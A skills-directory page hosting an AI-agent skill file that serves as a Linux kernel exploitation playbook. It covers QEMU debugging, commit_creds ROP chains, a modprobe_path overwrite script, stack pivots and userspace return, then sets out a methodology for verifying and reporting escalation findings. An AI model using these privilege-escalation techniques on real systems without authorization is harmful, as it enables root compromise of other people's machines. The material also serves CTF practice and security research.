Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Kernel Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-kernel-exploitation)
---
name: kernel-exploitation
description: >-
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
---
# SKILL: Linux Kernel Exploitation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
## 0. RELATED ROUTING
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
- [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
### Advanced References
- [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
---
## 1. EXPLOITATION MODEL
```
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
```
---
## 2. ENVIRONMENT SETUP
### QEMU + Custom Kernel
```bash
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
```
### GDB Debugging
```bash
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
```
### initramfs Modification
```bash
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
```
---
## 3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example |
|---|---|---|
| UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) |
| OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) |
| Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) |
| Integer Overflow | Size calculation wraps around | Various ioctl handlers |
| Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) |
| Double Free | Object freed twice | SLUB allocator exploitation |
| Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
---
## 4. PRIVILEGE ESCALATION TARGETS
### Method 1: commit_creds(prepare_kernel_cred(0))
```c
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
```
Kernel ROP chain equivalent:
```
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
```
### Method 2: modprobe_path Overwrite
```c
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
```
```bash
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
```
### Method 3: cred Structure Direct Overwrite
If you can find the current task's `cred` pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
### Method 4: Namespace Escape (Containers)
Overwrite `init_nsproxy` or manipulate namespace pointers to escape container isolation.
---
## 5. KERNEL ROP
### Controlled RIP Sources
| Source | Mechanism |
|---|---|
| Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer |
| Corrupted return address | Kernel stack overflow (rare) |
| Corrupted `ops` structure | Module operations struct (file_operations, seq_operations) |
### seq_operations Hijack (Common CTF Pattern)
```c
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
```
### Stack Pivoting in Kernel
| Gadget | Usage |
|---|---|
| `xchg eax, esp; ret` | Pivot to address in lower 32 bits of RAX (mmap buffer at known addr) |
| `mov rsp, [rdi+X]; ...` | If RDI points to controlled data |
| `push rdi; pop rsp; ...` | Pivot to RDI (first arg of hijacked function) |
**Important**: After SMEP, cannot execute userspace code. ROP chain must use **kernel gadgets** only.
---
## 6. ret2usr (Pre-SMEP)
Directly call a userspace function from kernel context:
```c
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory
```
**Blocked by**: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.
---
## 7. RETURNING TO USERSPACE
After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
### Via iretq (Traditional)
```nasm
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
```
```text
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
```
### Via KPTI Trampoline (When KPTI Enabled)
KPTI separates kernel/user page tables. Direct `swapgs; iretq` crashes because user pages aren't mapped. Use the kernel's own return trampoline:
```
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
```
### Via signal Handler Return
Set up a signal handler before exploit. After `commit_creds`, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).
---
## 8. QEMU DEBUGGING TIPS
| Command | Purpose |
|---|---|
| `-s -S` | GDB server on :1234, paused |
| `-monitor /dev/null` | Disable QEMU monitor (cleaner output) |
| `-append "nokaslr"` | Disable KASLR for debugging |
| `-cpu kvm64,+smep,+smap` | Enable specific CPU features |
| `info registers` (GDB) | Show all register values |
| `maintenance packet Qqemu.PhyMemMode:1` | Read physical memory in GDB |
| `cat /proc/kallsyms` | Kernel symbol addresses (if readable) |
| `cat /sys/kernel/notes` | Kernel build ID |
---
## 9. DECISION TREE
```
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path
```
---
## 10. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Which **kernel build** and config (SMEP, SMAP, KASLR, KPTI, kCFI, SLAB options)? | mitigations decide the technique and the severity |
| 2 | Is the bug **reachable by an unprivileged local user**, or does it need a device or a container? | the precondition |
| 3 | Did the primitive actually **elevate** - `uid` read back from the kernel, not a shell banner? | the goal |
| 4 | Was there a **control run on the patched kernel** (or the same kernel without the trigger)? | the bug is causal |
| 5 | Is the crash-to-root path **reliable across N runs**, with the rate stated? | a lucky run is not an exploit |
| 6 | Did the primitive win a **race**, and was the narrow window measured? | reliability is a requirement |
| 7 | Is the target **still vulnerable** at HEAD, or is there a fixed kernel in between? | which report this is |
**A named bug, a proven privilege change, a control on the fixed kernel, and a reliability rate.** A
kernel panic from an unprivileged process is a DoS finding, not an escalation.
---
## 11. EXECUTION PRIMITIVES
A kernel finding is proven by **an unprivileged trigger, a read-back privilege change, a success rate
over N runs, and a control on the same kernel without the trigger or on the patched kernel**. A panic is
a DoS, not an escalation.
### 10.1 The target environment, which decides everything
```bash
# record this BEFORE any attempt. Every technique below is conditional on these values.
echo "=== kernel build and config ==="
uname -a
cat /proc/version
echo
echo "=== the mitigations, read from the running kernel ==="
grep -E 'smep|smap|pti|kaslr|kpti' /proc/cpuinfo | head -1
cat /sys/devices/system/cpu/vulnerabilities/* 2>/dev/null | head -10
dmesg 2>/dev/null | grep -iE 'SMEP|SMAP|Kernel/User page tables isolation|randomize' | head -10
echo
echo "=== what the config exposes, if a config is available (a built kernel or a distro package) ==="
for c in CONFIG_SLAB CONFIG_SLUB CONFIG_SLAB_FREELIST_RANDOM CONFIG_SLAB_FREELIST_HARDENED \
CONFIG_RANDOMIZE_BASE CONFIG_PAGE_TABLE_ISOLATION CONFIG_STATIC_USERMODEHELPER \
CONFIG_CFI_CLANG CONFIG_STACKPROTECTOR_STRONG CONFIG_INIT_ON_ALLOC_DEFAULT_ON \
CONFIG_INIT_ON_FREE_DEFAULT_ON; do
printf ' %-42s ' "$c"
(zcat /proc/config.gz 2>/dev/null || cat /boot/config-$(uname -r) 2>/dev/null) | grep -E "^$c=" || echo "(unavailable)"
done
echo
echo "=== THE NAMESPACE AND PERMISSION REALITY ==="
id
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo " userns knob N/A"
echo " -> an exploit that first needs CAP_SYS_ADMIN in a namespace is NOT a privesc from a plain"
echo " user. STATE the starting privilege precisely."
echo
echo "=== THE CONTROL: the SAME kernel with the trigger conditions removed ==="
echo " run the reproducer with the vulnerable path NOT taken (a valid input, a different ioctl)"
echo " it must not panic and must not change privilege. Record both."
```
**The mitigation state and the starting privilege are the finding's preconditions.** An exploit needing
`CAP_SYS_ADMIN` in a userns is not an escalation from a plain user, and the report must say so.
### 10.2 The panic-to-privesc distinction, which is where these findings fail
```bash
# THE MOST COMMON OVER-REPORT: a kernel oops reported as a privilege escalation
echo "=== THE DISCRIMINATION ==="
cat <<'DISCRIMINATION'
An unprivileged trigger causing:
- a WARNING in dmesg -> a bug, no privilege change. Informational at most.
- an oops with a NULL deref -> a DoS. Classic severity, NOT an escalation.
- a full panic / reboot -> a DoS, and a RELIABILITY finding at that.
- a use-after-free where you CONTROL the freed object's reuse -> potentially an escalation.
- a write primitive you can AIM -> an escalation, and you must demonstrate the aim.
THE RULE: for an escalation, you need a PRIMITIVE with a controlled effect, and then a
PRIVILEGE CHANGE read back from the kernel. Neither the crash nor the 'root shell' banner is
evidence; # id executed by a shell you spawned from a kernel-chosen userspace path is.
WHAT TO MEASURE, for the privilege change:
uid / euid / gid read from a process you control AFTER the primitive
the CONTENTS of a file only root can read
CAP_* in /proc/self/status
A panic is a valid finding; it is just a DIFFERENT one, and it must be labelled as a DoS.
DISCRIMINATION
echo
echo "=== THE READ-BACK, mechanically ==="
python3 - <<'PY'
import os, subprocess
print("=== the escalating process's identity BEFORE ===")
print(" uid/euid/gid:", os.getuid(), os.geteuid(), os.getgid())
print(" CapEff:", open("/proc/self/status").read().split("CapEff:")[1].split()[0])
print()
print("=== AFTER the primitive, the SAME reads must show the change ===")
print(" a spawn from a root-chosen userspace helper is acceptable ONLY if you capture:")
print(" - the helper's own `id` output, and")
print(" - the file that helper created, with a root-only mode")
print()
print("=== THE CONTROL for the read-back ===")
print(" run the same process WITHOUT the trigger. The identity must be UNCHANGED.")
print(" if the pre-trigger identity is already root, you are testing nothing.")
PY
```
**The read-back from a process you control is the proof.** A panic is a valid finding, but it is a DoS
finding and must be labelled as one.
### 10.3 Reliability, measured rather than asserted
```bash
# an exploit that works 1 in 50 is a research result; the rate belongs in the report
echo "=== THE RELIABILITY RUN ==="
cat <<'RELIABILITY'
run the SAME exploit N times (N >= 20) from a clean boot where possible, and record:
- successes (privilege read back)
- panics and oopses
- hangs and timeouts
- the number of attempts each success needed
A race-based exploit's rate DEPENDS ON THE HOST's CPU count and load. Record both.
THE CONTROL RUN: the same binary against the PATCHED kernel (or with the trigger param disabled).
It must fail ALL N times. A 'reliable exploit' that also succeeds on the patched kernel is
exploiting something else, or your success predicate is wrong.
RELIABILITY
echo
echo "=== the loop, with the predicate as a FILE the exploit creates, not a banner ==="
SUCCESS=0; PANIC=0
for i in $(seq 1 20); do
rm -f /tmp/kexploit-proof
timeout 60 ./exploit >/dev/null 2>&1
if [ -f /tmp/kexploit-proof ]; then SUCCESS=$((SUCCESS+1)); fi
dmesg 2>/dev/null | tail -3 | grep -qiE 'panic|oops|BUG:' && PANIC=$((PANIC+1))
done
echo " successes: $SUCCESS/20 panics observed: $PANIC"
echo " -> record the host's CPU count and load alongside: nproc=$(nproc), load=$(cut -d' ' -f1 /proc/loadavg)"
```
**The patched-kernel control must fail all N times.** An exploit that also succeeds on the patched kernel
is exploiting something else, or its success predicate is wrong.
### 10.4 The race and the primitive, with their windows
```bash
cat <<'PRIMITIVES'
UAF -> REUSE the freed object must be reclaimed by an object YOU control, and the type confusion
must be demonstrated by an observable effect, not by a crash.
measure: the reuse rate across N attempts; the heap-grooming object and its size class
control: without the grooming allocation, the reuse must NOT occur (or occur far less often)
WRITE PRIMITIVE prove the AIM, not just that a write happened.
measure: write a DISTINCTIVE value to a KNOWN kernel address, then READ IT BACK
control: the same operation with the value unchanged must not appear
trap : a write that corrupts and panics is not an aimed write.
RACE WINDOW the window's width is a property of the system, not of your code.
measure: the winning timing across N attempts; the narrowest and widest windows observed
control: adding a synchronising sleep that closes the window must make it fail
trap : 'the race is winnable' from one success is not a rate. Run N.
RET2DIR / RET2USR blocked when SMEP/SMAP are on. Check them FIRST (10.1); if they are on and you
claim a userspace return, the claim is wrong.
measure: the fault address in dmesg, which tells you which mitigation refused
control: the same attempt with the mitigation off (in a VM) to isolate it
KASLR the leak must be demonstrated: print the leaked address and the resolved base,
and show the base differs across boots.
measure: the base across >= 5 boots, to show it is randomised
control: with nokaslr, the base must be constant
PRIMITIVES
```
**The write primitive's aim must be proven by a read-back, and KASLR's leak by a base that differs across
boots.** One success is not a rate, and a corrupting write is not an aimed write.
### 10.5 The end-to-end harness
```bash
python3 - <<'PY'
print("=== KERNEL EXPLOITATION ACCEPTANCE CHECKLIST ===")
CHECKS = [
("the kernel build, config, and ARCH are recorded",
"every technique here is conditional on the config"),
("SMEP, SMAP, KPTI, KASLR, freelist hardening, and CFI states are recorded",
"they decide which technique exists"),
("the STARTING PRIVILEGE is stated precisely, including any required capability or userns",
"an exploit needing CAP_SYS_ADMIN in a userns is not a plain-user escalation"),
("a CONTROL run with the trigger conditions removed panicked nothing",
"the bug is causal"),
("the PRIVILEGE CHANGE was read back from a process you control",
"uid/euid, a root-only file's contents, or CapEff"),
("the finding is classified as ESCALATION or DoS, explicitly",
"a panic is a valid but different finding"),
("reliability was measured over N >= 20 runs, with the host's CPU count and load",
"a race's rate depends on the host"),
("the PATCHED kernel (or the disabled trigger) failed ALL N runs",
"an exploit succeeding there is exploiting something else"),
("for a write primitive, the aim was proven by writing and READING BACK a distinctive value",
"a corrupting write is not an aimed write"),
("for a KASLR leak, the base was shown to differ across >= 5 boots",
"one boot's base is not evidence of randomisation"),
("the primitive is described as a primitive, with its constraints",
"'RCE' without a primitive description is an overclaim"),
]
for n, how in CHECKS: print(" [ ] %-66s -> %s" % (n, how))
print()
print("=== THE REPORT SHAPE ===")
print(" environment : kernel build, config, arch, mitigations, starting privilege")
print(" bug : the class, the reachable path, and the trigger")
print(" primitive : what it gives, with its constraints")
print(" control : the same kernel without the trigger, and the patched kernel")
print(" proof : the read-back identity or file")
print(" reliability : N of M, with panics, hangs, and the host's CPU count")
print(" class : ESCALATION or DoS")
PY
```
**Environment, bug, primitive, control, read-back, reliability, class.** The class line is mandatory: a
panic is a DoS and must be labelled as one.
---
## 12. EVIDENCE STANDARD — KERNEL EXPLOIT ARTEFACTS
| Item | Why |
|---|---|
| The **kernel build, config, and architecture** | every technique is conditional on the config |
| The **mitigation states**: SMEP, SMAP, KPTI, KASLR, freelist hardening, CFI | they decide which technique exists and the severity |
| The **starting privilege**, including capabilities and any userns requirement | an exploit needing a capability is not a plain-user escalation |
| The **control run** with the trigger conditions removed | the bug is causal |
| The **privilege read-back**: uid/euid, a root-only file's contents, or CapEff | the goal, from a process you control |
| The **classification**: ESCALATION or DoS | a panic is a different finding |
| The **reliability**: successes, panics, and hangs over N >= 20 runs | a single success is not a rate |
| The **host's CPU count and load** | a race's rate depends on the host |
| The **patched-kernel control's** all-N failure | an exploit succeeding there is exploiting something else |
| The **write primitive's read-back**, or the **KASLR base across >= 5 boots** | the aim and the leak, respectively |
| The **primitive description** and its constraints | `RCE` without a primitive is an overclaim |
Report the **environment and the read-back**: "the target runs Linux `6.6.31` on `x86_64` with
`smep smap` present in `cpuinfo`, `CONFIG_PAGE_TABLE_ISOLATION=y`, `CONFIG_SLAB_FREELIST_HARDENED=y`,
`CONFIG_RANDOMIZE_BASE=y`, and no `CONFIG_CFI_CLANG`. The starting context is `uid=1000` with no
capabilities and `unprivileged_userns_clone=1`, so a userns-based path is available and is stated as part
of the precondition. The trigger is an `ioctl` on `/dev/example` that frees an object while a reference
remains, and it is reachable by `uid=1000` because the device node is `crw-rw-rw-`. The control run with
a well-formed `ioctl` request panicked nothing and left the identity unchanged. After the primitive, the
process reports `CapEff: 000001ffffffffff` and a file created by the kernel-chosen helper carries mode
`0600` owned by `uid=0`, which is the read-back. The exploit succeeded in `17 of 20` runs on a
`4`-vCPU host at load `0.4`, with `2` panics and `1` hang, and the same binary against the `6.6.32`
kernel that carries the upstream fix failed in `20 of 20` runs, which is the patched-kernel control. The
primitive is described as a `kmalloc-32` use-after-free with a reclaimed `msg_msg`, giving a controlled
write to a known address, and `RCE` is not claimed beyond that", never "there is a kernel LPE".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| An unprivileged **panic or oops** reported as a privilege escalation | it is a DoS finding |
| A **root shell banner** with no read-back of the identity | a banner is not a privilege change |
| A pre-trigger identity that is **already root** | nothing was tested |
| An exploit requiring **CAP_SYS_ADMIN in a userns**, reported as a plain-user escalation | the capability is the precondition |
| A success rate of **1 in 50** reported without the rate | a research result, not a reliable exploit |
| A **race** claim from one success | the rate is the finding |
| A KASLR leak shown from **one boot** | the base must differ across boots |
| A **write primitive** that corrupts and panics, described as aimed | the aim needs a read-back |
| A ret2usr claimed on a kernel where **SMEP/SMAP are on** | the mitigation refuses it |
| The **patched kernel** also succeeding | something else is being exploited, or the predicate is wrong |
| `RCE` claimed with **no primitive description** | an overclaim; describe the primitive's constraints |
**A control run, a read-back privilege change, a reliability rate, and a patched-kernel failure.** A panic
and a root shell banner are this family's two standard non-findings.
---
## 13. REMEDIATION REFERENCE — KERNEL EXPLOITATION ASSESSMENT
1. **Record the kernel build, config, mitigations, and the starting privilege before any attempt, and state any required capability as a precondition** - an exploit needing `CAP_SYS_ADMIN` in a userns is not a plain-user escalation.
2. **Classify every result as ESCALATION or DoS explicitly, and never report a panic as an escalation** - a panic is a valid finding with a different severity and a different remediation.
3. **Read the privilege change back from a process you control: uid/euid, `CapEff`, or a root-only file's contents** - a shell banner and a spawned helper's greeting are not evidence.
4. **Run the control with the trigger conditions removed and require no panic and no identity change** - the bug must be causal.
5. **Measure reliability over N >= 20 runs, recording successes, panics, and hangs, and record the host's CPU count and load alongside** - a race's rate is a property of the host.
6. **Run the same binary against the patched kernel, or with the trigger disabled, and require all-N failure** - a success there means something else is being exploited.
7. **For a write primitive, prove the aim by writing a distinctive value to a known address and reading it back** - a write that corrupts and panics is not aimed.
8. **For a KASLR leak, show the resolved base differing across at least five boots, with `nokaslr` as the control** - one boot's base is not randomisation.
9. **Describe the primitive and its constraints rather than claiming `RCE`** - the primitive is what a defender can reason about, and `RCE` without one is an overclaim.
10. **Check the current kernel version's fix status before reporting, and classify the finding as live or historical** - a patched bug is a different report with a different audience.
11. **Sample the heap and the race window across runs rather than reporting the best result, because a technique's reliability determines whether it is exploitable or theoretical** - the distribution, not the maximum, is the finding.
---
## 14. RELATED SIBLINGS - LOAD TOGETHER
- [heap-exploitation](../heap-exploitation/SKILL.md) - the userspace counterpart of the same primitive classes
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) - the control-flow hijack primitive underneath
- [linux-security-bypass](../linux-security-bypass/SKILL.md) - the OS-hardening layer a kernel bug bypasses
- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) - where a kernel bug is the escape mechanism
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) - the mitigation-bypass methodology this shares